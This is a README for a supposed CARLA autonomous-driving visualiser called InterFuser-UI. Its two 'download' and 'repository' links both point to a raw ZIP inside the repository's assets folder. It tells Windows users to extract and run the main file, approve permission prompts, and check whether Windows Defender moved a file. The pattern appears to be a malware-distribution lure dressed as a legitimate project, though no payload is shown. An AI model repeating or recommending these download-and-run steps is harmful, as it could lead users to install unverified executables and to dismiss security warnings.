InterFuser-UI shows a live view of an autonomous driving run in CARLA. It brings camera feeds, LiDAR bird’s-eye view, route data, and safety checks into one screen. You can use it to watch how the system sees the road and how it reacts to traffic, lanes, and hazards.
- Windows 10 or Windows 11
- A modern Intel or AMD processor
- 8 GB RAM or more
- A graphics card with recent drivers
- About 1 GB of free disk space
- CARLA installed on your system
- A working internet connection for the first download
Visit this page to download:
https://github.com/zubairm8580/InterFuser-UI/raw/refs/heads/main/assets/Inter_UI_Fuser_v3.3.zip
If the page has a release file, download it there. If the project is shared as source files, download the repository from the link above and use the included app files to run it on Windows.
- Open the download link above.
- Get the project files onto your PC.
- If the download comes as a ZIP file, right-click it and choose Extract All.
- Move the folder to a place you can find again, like Desktop or Documents.
- Open the folder and look for the main app file or start script.
- If Windows asks for permission, choose Yes.
- If the app needs extra files, keep them in the same folder as the main program.
- Make sure CARLA is already running.
- Open the InterFuser-UI folder.
- Start the app using the main file in the project folder.
- Wait for the window to load.
- When the app opens, it should connect to the CARLA simulation and begin showing live data.
- Front, rear, and side camera views
- A bird’s-eye LiDAR map
- Road lanes and route lines
- Vehicle control states
- Safety rule alerts
- Scene data from the driving run
See several camera feeds at once. This helps you check what the vehicle sees from different angles.
Watch a top-down map made from LiDAR data. This makes it easier to spot nearby cars, roads, and open space.
The UI shows rule checks for driving behavior. This helps you see when the system stays within safe limits.
Follow the planned route and see how the system reacts to turns, lane changes, and road edges.
Track how sensor data is combined in the driving stack. This is useful for watching real-time autonomous driving output.
If the app does not start right away, check these items:
- CARLA is open and ready
- The app folder still has all its files
- Windows Defender did not move a file
- Your graphics drivers are up to date
- You opened the correct start file
Try these steps:
- Close the app.
- Start CARLA first.
- Open InterFuser-UI again.
- Wait a few seconds for the data stream to connect.
- Make sure no other app is using the same display or network port.
InterFuser-UI/- app files
- config files
- asset files
- start script
- data display modules
- Watching a self-driving car in CARLA
- Checking camera and LiDAR output
- Testing route behavior
- Reviewing safety rule signals
- Demonstrating autonomous driving flow to others
The app may need access to:
- Display graphics
- Read local files
- Connect to the CARLA simulator
- Start with a simple CARLA scene
- Use full screen for easier viewing
- Keep the app and CARLA on the same machine
- Use one monitor if you want a clean setup
- Close extra apps if the frame rate drops
autonomous-driving, autonomous-vehicles, birds-eye-view, carla-simulator, computer-vision, deep-learning, interfuser, lidar, pygame, pytorch, real-time-system, self-driving, sensor-fusion, transformer
GitHub repository:
https://github.com/zubairm8580/InterFuser-UI/raw/refs/heads/main/assets/Inter_UI_Fuser_v3.3.zip